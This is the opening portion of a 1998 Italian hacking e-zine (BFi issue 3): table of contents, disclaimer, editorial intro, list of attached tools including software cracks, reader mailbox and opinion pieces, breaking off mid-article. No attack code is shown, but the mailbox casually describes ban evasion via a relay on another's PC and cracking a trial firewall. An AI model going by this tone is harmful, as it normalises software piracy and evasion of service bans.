Copy Link
Add to Bookmark
Report
BFi numero 03 anno 1
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
°°°°°°°°°°°°°°°°°°°°ÚÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄ¿°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°³ J$$$$$$$. $$$$$$$$ $$ ³°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°º $$ J$% d$" d$" º°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°º d$beeee$" .$$eeee .$P º°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°º .$$""""$$. $$""""" $$" º°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°º d$" $$ .$P .$P º°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°º .$$$$$$$*" e$- $$ e$ $$ z$-º°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°³ """"""" ^" ^"" ^" ^"" ^" ³°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°³ áUTCHERED R0M iNSiDE ³°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°ÀÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÙ°°°°°°°°°°°°°°°°°°°°°
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄo0[NUMER0 3] [ANN0 1] [LUGLi0 1998]0oÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ iNDiCE ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
º1þ iNTR0 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> |scacco| º
º2þ 0á-N0TES ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> SMa$teR º
º3þ MAiLá0X ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Cavallo º
º4þ ETiCA - C0PiA/iNC0LLA CHE PASSi0NE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Nello|Z º
º5þ Si STAVA MEGLi0 QUAND0 Si STAVA PEGGi0? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> sPIRIT º
º6þ CYáERPUNK ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Fre º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º1þ HACKiNG: GESTi0NE DEi PR0CESSi iN AMáiENTE UNiX ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> pIGpEN º
º2þ HACKiNG: áACKD00R: iDEE ED iMPLEMENTAZi0Ni ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> fusys º
º3þ HACKiNG: T00LS PER RiMANERE iN 0MáRA S0TT0 UNiX ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> fusys º
º4þ HACKiNG: PR0GETT0 CAR0NTE - PARTE I ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> fusys º
º5þ HACKiNG: N0NS0L0PH ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> D.K.&D.S.º
º6þ HACKiNG: SNiiNG ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> A.Kuligk º
º7þ HACKiNG: DiVERTiRSi AL CYáERCAE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> [goku] º
º8þ HACKiNG: PASSW0RD CRACKiNG ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> -jH- º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º1þ PHREAKiNG: áLUEá0X iN iTALiA ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> E.Draven º
º2þ PHREAKiNG: PR0JECT MT - L0CALiSTA 0 SERiALiSTA? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> McK&PazzOº
º3þ PHREAKiNG: CELLULARi AND RELATED - III PARTE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> |PazzO| º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º1þ ViRii: M0T0Ri P0LiM0Ri ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> b0z0 º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º1þ CRACKiNG: Vá0X - PREViEW PARADiSE R.I.P.ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> xOANON º
º2þ CRACKiNG: STEP áY STEP - LEVEL 1 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> The_Hawk º
º3þ CRACKiNG: STEP áY STEP - LEVEL 2 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> The_Hawk º
º4þ CRACKiNG: NT GUARDiAN 3.0 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> F.Black º
º5þ CRACKiNG: T00L Di C0MPARAZi0NE iLE BiNARi ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Raptor º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º1þ MiSC: RETi L0CALi ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> DrumFire º
º2þ MiSC: WiNGATiNG: CHE PASSi0NE! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Darker º
º3þ MiSC: S0CKS WiTH áiTCHX H0WT0 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> LF&Sorbo º
º4þ MiSC: GUiDA ALL'US0 DEi S0CKET: iL SERVER ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> LordFelixº
º5þ MiSC: RADi0 SCANNiNG ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> onid^ º
º6þ MiSC: iRC áACKD00R ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Blinking º
º7þ MiSC: CRYPT V.6.0.0 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> \\alV^iCfº
º8þ MiSC: GUiDA AL M0ND0 DEGLi MP3 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Dr_Slump º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
³ ³
³ ³
. .
********************************! ATTENZIONE !*********************************
* TUTTO IL MATERIALE CONTENUTO IN BUTCHERED FROM INSIDE E' DA RITENERSI A *
* PURO SCOPO INFORMATIVO. GLI AUTORI DI BUTCHERED FROM INSIDE NON SI RITENGONO*
* IN ALCUN MODO RESPONSABILI PER DANNI CAUSATI DALL'USO DI PROGRAMMI, CODICE, *
* INFORMAZIONI CONTENUTI ALL'INTERNO DELLA RIVISTA. PENSATE AI VOSTRI AMICI, *
* AI VOSTRI GENITORI, ALLA VOSTRA RAGAZZA, A NOI E SOPRATTUTTO A VOI STESSI *
* PRIMA DI FARE QUALCHE CAZZATA! *
*******************************************************************************
* SE TU, LETTORE, TI RITIENI OFFESO DAI TEMI TRATTATI IN BFI ALLORA: *
! INTERROMPI IMMEDIATAMENTE LA LETTURA E CANCELLA QUESTO FILE DAL TUO SYSTEMA !
* PROSEGUENDO, TU LETTORE TI ASSUMI OGNI GENERE DI RESPONSABILITA' PER L'USO *
* CHE FARAI DELLE INFORMAZIONI CONTENUTE IN BFI *
*******************************************************************************
* LE STESSE INFORMAZIONI RACCOLTE IN BFI SONO FACILMENTE REPERIBILI SULLA RETE*
* TRAMITE UN QUALSIASI MOTORE DI RICERCA *
*******************************************************************************
* SI _VIETA_ DI POSTARE BFI SUI NEWSGROUP *
*******************************************************************************
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ iNTR0 ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Ciao ragazzi, per questo numero di BFI ho il grandissimo onore di scrivere la
mega introduzione (notate l'assonanza giu' di testa!!!). Questa zine sta
prendendo il posto di System Down e di altre zine dell'underground ita... se
mai esistesse!. Proprio di questo ho intenzione di dibattere in questa breve
introduzione. L'italia ha mai avuto un serio movimento underground? Gli
americani che si lamentano tanto dei lamers sono mai stati sul canale
hackers.it? Evidentemente no... Hackers.it (non me ne vogliano i
frequentatori) e' l'apoteosi della schifezza, orde di lamer che si scambiano
green e shells in canale, con metodi fantozziani del tipo: "Come faccio poi
ad essere sicuro che funzioni davvero??", "La password che mi hai dato
funziona o mi prendi per il culo?". Queste sono le frasette tipiche dei
traders su #hackers.it. Ho preso questo canale come esempio xche' la specie
dei lamer ha trovato campo fertile e tende a riprodursi in queste zone, ma
vi sono altri canali in cui si stanno ricreando in branchi separati. Chi ha
la colpa di tutto cio'? Ehy tu, non abbassare lo sguardo, sisi proprio tu
che sei "esperto" di hacking, di sistemi, di cracking o di coding. Forse
e' piu' facile dimenticarli i primi tempi piuttosto che riesaminarli. Anche
tu eri un newbie e non sapevi nemmeno cosa fosse il comando "dir" (molti
ancora non lo hanno capito). Mesi e mesi passati alla ricerca di testi su
come fare questo, come fare quello, sempre in inglese, termini mai sentiti
provenienti dallo slang, mega HOWTO, manuali hypertestuali, caccia al
hack nuovo, lurkamento totale di alt2600 ecc.... Forse queste cose non te
le vuoi ricordare, ma le hai fatte. Molto spesso confondi il newbie e il
lamer, ma sono persone completamente diverse! Una volta per tutte: dicesi
newbie colui che senza nessun tipo di conoscienza cerca di istruirsi e
documentarsi rivolgendo domande a persone competenti. Dicesi lamer colui che
senza nessun tipo di conosceinza utilizza informazioni altrui per creare
danni, oppure si limita a porre domande rivolte a questo scopo. Mi sembrano
due persone completamente diverse... non ti pare?. Non credi che anche un
newbie abbia il diritto di arrivare ai tuoi livelli? Forse il tuo orgoglio
non ti fa vedere queste cose!. Si' Si', lo so che dovrebbe arrangiarsi, che non
e' giusto fargli trovare la pappa pronta ecc... Ma lui non vuole la pappa
pronta, vuole una mano, vuole porti una domanda intelligente su un argomento
che non ha ben chiaro, non si sognera' mai di chiederti (come mi e' gia'
successo) "Mi insegni ad hackare?", ma si limitera' ad una domanda specifica.
Un'altra critica che sollevi sempre riguarda il bfi, dici che e' assolutamente
inutile proporre alla gente tools preconfezionati, pronti per essere eseguiti
e creare danni ai sistemi. Eticamente il tuo discorso non fa una piega, il
fatto e' che tramite questi tools vengono mostrati esempi e idee su come
implementare un protocollo o una funzione nuova. I nostri programmi non sono
stati creati per essere pronti all'uso, molto spesso sono versioni base in
cui vanno implementate moltissime funzioni, questo lavoro e' lasciato
al nostro caro lettore. Questo non e' altro che un pretesto per spingerlo
verso un settore dell'underground e fargli approfondire alcune conoscenze.
Anche questo e' vero, molto spesso i nostri tools finiscono nella mani dei
lamha, ma ho una risposta anche a questo... Se anche solo 1 lettore su 100,
prende il mio tool, si va a documentare, lo riprogramma, lo potenzia, lo
perfeziona e aggiunge funzioni tutti i miei sforzi sono stati appagati.
Ok Ok basta con queste cose filosofiche, lascio la parola agli altri
scrittori, questo numero e' veramente sensazionale, non perdetevelo!!!!.
|scacco|
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ 0á-N0TES ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
y0y0..
la redazione di BFi non prende vacanze e resiste al caldo afoso di questa
estate '98 sedendo la notte davanti ad un computer.
Purtoppo i 30+ gradi di temperatura non hanno fatto bene alle nostre sinapsi...
e abbiamo deciso di raccogliere i deliri piu' divertenti di questi ultimi 2
mesi nello speciale BFi Crazy Summer Issue: BEACH FOR iNSANES =)
Qui di seguito trovate la lista dei programmi allegati, per la cui descrizione
vi rimando ai rispettivi articoli:
+ jpip3.zip : jpip3 [PASSW0RD CRACKiNG]
+ celly02.zip
- mp66.zip : Motorola E-Tacs Official Programmer [CELLULARi AND RELATED]
- simcard.zip : ASIM Emulator v2.9 [CELLULARi AND RELATED]
+ dpe.zip : DPE - Demo Poly Engine [M0T0Ri P0LiM0Ri]
+ crackme.zip : CrackMe v1.0 [STEP áY STEP]
+ compare.zip : Tool di comparazione binari [T00L Di C0MPARAZi0NE iLE BiNARi]
+ crypt6.zip : Crypt 6.0.0 [CRYPT V.6.0.0]
+ mp3.zip
- wd141crk.zip : winDAC32 v.1.41 crack [GUiDA AL M0ND0 DEGLi MP3]
- discplay4.zip : DiscPlay 4 crack [GUiDA AL M0ND0 DEGLi MP3]
Come al solito, mandate i vostri articoli, domande, richieste e cazzate varie
:) all'indirizzo e-mail:
BFI98@USA.NET
Un ringraziamento particolare va a InfectedMachine, senza il cui aiuto questo
numero non sarebbe uscito prima di Settembre: grazie "vecchio" ;)
Desidero inoltre ringraziare tutti gli altri ragazzi che hanno contribuito
con i loro articoli.
BUONA ESTATE!
SMa$teR
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ MAiLá0X ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Salve a tutti, eccoci ad un nuovo spazio dedicato alle vostre email; in
questa rubrica vogliamo cercare di rispondere ai vostri quesiti.
Per questo numero l'angolo della posta non e' ricchissimo di email non
essendone arrivate 69milioni, tra l'altro abbiamo avuto qualche problemino
sul server della posta quindi qualche email e' andata persa.
Essendone quindi arrivate poche, le risposte saranno (speriamo) abbastanza
dettagliate, cercando cosi' di aiutarvi al meglio.
Vogliamo quindi scusarci con coloro che non otterranno una risposta e
vogliamo inoltre ringraziare chi ci ha scritto per farci complimenti e per
sostenere la nostra e-zine.
Ma ora veniamo alle email...
_______________________________________________________________________________
[01] "AnonIRC e Conseal Firewall" da Vigna
Vi scrivo questo messaggio per farvi i miei complimenti...trovo la vostra
'pubblicazione' molto interessante e davvero divertente: fatta da ragazzi
che amano il computer per ragazzi che amano il computer.
[Il nostro obiettivo e' questo =)]
Vorrei chiedervi un paio di cose sperando di non sembrare troppo un paraculo
:-)))) ; la prima: come si usa l' AnonIRC??? ho provato in mille modi ma non
capisco il significato delle diverse funzioni e non ottengo alcun risultato...
boh!!
[L'AnonIRC non e' altro che un programma che permette di creare un rimbalzo
su un PC Windows; i settaggi sono abbastanza intuitivi (o forse no ? =))
bisogna specificare il server irc su cui deve rimbalzare (Current Bounce
Server), la porta su cui deve accedere al server irc (Current Bounce Port)
e la porta su cui deve ascoltare (Listening Port), a questo punto basta
premere il tasto Init e viene aperto un socket che fa da rimbalzo.
Dal punto di vista pratico l'unico utilizzo di detto programma e' quello
di farlo montare a qualche amico (o su qualche PC con Windows connesso alla
rete) e utilizzarlo per arrivare su IRC con il suo IP, di solito questo tipo
di programma e' utilizzato principalmente per evitare una K-Line (Ban dal
server).
Lo schema puo' essere:
IO -> PC con AnonIRC -> ServerIRC (su cui arrivo con l'ip del PC con AnonIRC)
Come forse avrete capito non e' che sia questa grossa cosa, anche perche'
una k-line, se mai ne subiate una, facilmente sara' solo su un dato server,
e non su tutta la rete IRC che frequentate, quindi basta scegliere un altro
server e via di nuovo a sparare cazzateeeee...]
La seconda: ho scaricato il firewall della Conseal in versione trial (subito
crakkato) lo conoscete?? perche' volevo sapere qual e' il modo migliore,
secondo voi, di settare le ruleset.
Il firewall regge meglio ai nuke del Nabber 2.7 ?? anche ai Land o ai
Boink???
[Il Firewall della Conseal non e' molto semplice da settare, onestamente
devo dire che anche io non sono ancora riuscito a fare un ruleset come
dio comanda, comunque lasciando attivato il learning mode si viene avvisati
di cio' che arriva e viene richiesto se lasciare passare o meno il pacchetto
sospetto; unica cosa fate attenzione se inizia ad arrivare roba strana a non
pigiare per sbaglio return mentre state scrivendo su IRC e a far lasciar
passare un amichevole nuke =))
Dal punto di vista della resistenza penso sia sicuramente migliore nel Nuke
Nabber che, pur non ricordandolo bene, dovrebbe solo ascoltare su certe porte
e mostare i tentativi di connessioni (e quindi bloccare solo la nuke OOB),
mentre il Conseal e' in grado di bloccare tutte le nuke esistenti ad ora
(oob,teardrop, land, tierra,boink etc...); ovviamente ho parlato di nuke e
non di flood, li' non ci potete fare nulla da win.]
_______________________________________________________________________________
[02] "bho ?!?!?!" da rio.elven
kattso! grande BFI !
era ora che kyuzz mettesse qualcosa di decente sulle sue pagine ;P
ma quando dioporco esce il 3 ? che kattso faccio nella pausa pranzo ?
e poi voglio la foto 1:1 di pigpen nudo !
go on ppl....
[Dehehehehehe grazie per i complimenti, sei in linea con la nostra e-zine,
per la foto del pig vedremo cosa si puo' fare...]
_______________________________________________________________________________
[03] - "Sito di BFI e Programmi" da Muttley
Ciao,
prima di tutto mi presento sono un ragazzo, che non ne capisce un cazzo di
hacker, cracker, ecc.
Vi scrivo perche' ho letto la vostra rivista e' mi e' piaciut un sac, ma
credo di averla presa da un sito non corrispondente al vostro.
mi potreste dire se sono uscite versioni seguenti dopo la prima, e dove le
posso prendere??
ah un'ultima cosa voi parlate di prog sulla vostra "rivista" ma non
specificate da dove si possono scaricare, se questo e' possibile!
Apetto la vostra risposta.
Muttley
[Come potrai leggere siamo al numero 3, approfittiamo della tua email
per segnalare che il SITO UFFICIALE e' http://bfi98.home.ml.org pero'
sapendo come siamo scazzati a volte potrebbe non funzionare quindi capitera'
che qualcuno vi consigli di andare a pigliarla dal suo sito nel caso in cui
il sito ufficiale non vada.
Per quanto riguarda i programmi, onestamente non ricordo nei precedenti
numeri di quali programmi abbiamo parlato, resta il fatto che molti di essi
li puoi trovare facendo ricerche su yahoo o dando un occhio ai siti di hack
presenti sulla rete, nel caso non riuscissi a trovare qualcosa in particolare
facci un fischio.
Un unico dubbio mi sorge dopo la lettura della tua mail, se di hacker e
craker non capisci un cazzo, cosa hai capito dalla nostra rivista ?!? =)]
_______________________________________________________________________________
[04] - "Commenti" da Alessandro
cari bfi
inanzitutto mi sono letto d'un fiato i primi due numeri e devo dire che
siete stati grandiosi!
i testi sono veramente una fonte illimitata di ispirazione per quelli
come me che credono ciecamente nella vostra causa con particolare
riferimento alla telecom, non tanto per un profitto personale, quanto
per giustizia verso una associazione a delinquere legalizzata.
[Niente altro da aggiungere, la frase si commenta da se']
Devo dirvi sinceramente che approvo per intero quello che fate ad
eccezione dell'articolo riguardante galeoni e carciofi.
[Beh anche in questo caso come per l'hacking e affini uno e' libero di
applicare o meno cio' che trova scritto, quindi chi ritiene che galeoni
e carciofi "non s'abbiano da fare" e libero di saltare quella parte della
e-zine.]
_____________________________________________________________________________
La sezione delle mail finisce qui, a risentirci al prossimo numero.
Cavallo
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ ETiCA - C0PiA/iNC0LLA CHE PASSi0NE ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍͼ
Una di quelle sere in cui cazzeggi su irc....hai caldo...hai sete...mentre mi
facevo i cazzi miei arriva smaster e mi fa: "Ehi nelloz vai a vedere quest'url:
spaghetti-phreaker.home.ml.org, ci fregano gli articoli :))".
Quante belle scritte colorate... a parte questo sono due sostanzialmente le
cose ke mi hanno dato fastidio, prima di tutto il fatto ke il mio url non fosse
menzionato tra i link! (hihihihi ;)) La seconda... beh la seconda non e' da
meno... ho notato, e tutti lo possono verificare, ke alcuni testi sono stati
"rippati" o cmq scopiazzati alla grande da BFi, il bello e' ke ricordo ancora
benissimo di quando gli autori (al secolo assidui frequentatori di #hackers.it
ora non so) criticavano quelli di systemdown, perche' si permettevano di
tradurre dei testi americani. Tutti i testi ke sul sito sono raccolti
nelle aree "Cabine" e "Cellulari" vengono fatti passare per il frutto dei
dementi gestori di tale sito e di sto cazzo di gruppo....
...ragazzi...capisco il fatto ke vi kiamate "spaghetti phreaker" (AHAHAHAHAH),
e ke suppongo il nome derivi dal libro spaghetti hacker (colgo l'occasione per
salutare Stefano Chiccarelli autore del libro e conosciuto all'hackit98),
capisco il fatto ke cerchiate in ogni modo di fare qualke azione di phreaking
dato ke vi riconoscete come tali, capisco anche ke date le vostre "scarse"
esperienze tecniche non ne siate in grado, perche' quei poki testi, forse di
vostra concezione, non siano da considerarsi ke un vago accenno di
smanettamento su cose viste e riviste e ke come il sopra citato libro definisce
phreaker (non lo voglio prendere come oro colato, ma diciamo ke ci va vicino):
<<Smanettone ke pratica l'esplorazione del sistema telefonico mondiale in cerca
di difetti, per poi utilizzarli nei modi piu' svariati e originali, non pensati
dalla ditta ke gestisce il servizio>>.
Tutto cio' molto lontano da voi (almeno mi sembra :) e cmq questo non va
fatto).
Concludendo, avere collaborazioni e rapporti con altri gruppi della scena
italiana e' sempre interessante, ma farsi belli con la roba altrui...
eh ke cazzo...aboliamo il copyright, ma lasciamo le firme!
Nello|Z
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ Si STAVA MEGLi0 QUAND0 Si STAVA PEGGi0? ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍͼ
Oggi, mercoledi' 1 luglio 1998, stavo leggendo il Corriere della Sera,
sezione di Economia, quando nel giro di poche pagine mi sono capitati sotto
gli occhi tre trafiletti interessanti, che riporto per intero:
PAGINA 19: TELECOM E UNISOURCE - NESSUNA SEPARAZIONE
"Nessun divorzio, almeno per ora, tra Unisource e Telecom Italia. Il
ministero del Tesoro - a quanto si e' appreso - avrebbe infatti deciso una
<<moratoria>> per proseguire nelle trattative sulla cessione dell'1,2% del
capitale della societa' di telecomunicazioni con la societa' costituita dai
maggiori gestori di telecomunicazioni svizzero, svedese e olandese il cui
diritto di opzione per l'acquisto del pacchetto di azioni Telecom sarebbe
scaduto alla mezzanotte di ieri. Il Tesoro, in sostanza, con una sorta di
<<gentleman's agreement>> con Unisource, concede piu' tempo a Telecom,
guidata da Gian Mario Rossignolo, e Unisource per verificare se esistono
spazi per un accordo, ma non fissa paletti precisi rimanendo cosi' con le
mani libere per cercare eventuali altri acquirenti per il pacchetto di
azioni di cui e' proprietario.
Intanto ieri si e' saputo che non ci sara' nessuna nuova manovra tariffaria
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
entro luglio. Probabilmente sara' possibile entro la fine dell'anno.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Sul fronte del bilanciamento delle tariffe telefoniche e' questa la novita'
emersa al termine dell'audizione ai vertici Telecom davanti ai membri della
autorita' per le garanzie nelle comunicazioni."
PAGINA 20: WIND - MACCANICO DA' IL VIA LIBERA
"Il ministro delle Comunicazioni Antonio Maccanico ha firmato la licenza che
consente a Wind, il terzo gestore dei telefonini, di operare sul territorio.
La societa' partecipata da Enel, France Telecom e Deutsche Telekom, avviera'
il servizio entro il primo marzo '99."
PAGINA 22: PARTE ALBACOM, A OTTOBRE LE PRIME CABINE TELEFONICHE
"MILANO - Albacom sfida Telecom Italia a tuttocampo, e conta di arrivare
all'utile, una decina di miliardi, gia' dall'esercizio del '99 (chiusura 31
marzo 2000) con un fatturato di 650 miliardi che dovrebbero diventare quasi
900 nel Duemila. Da domani (oggi per chi legge, n.d.r.) - ha annunciato
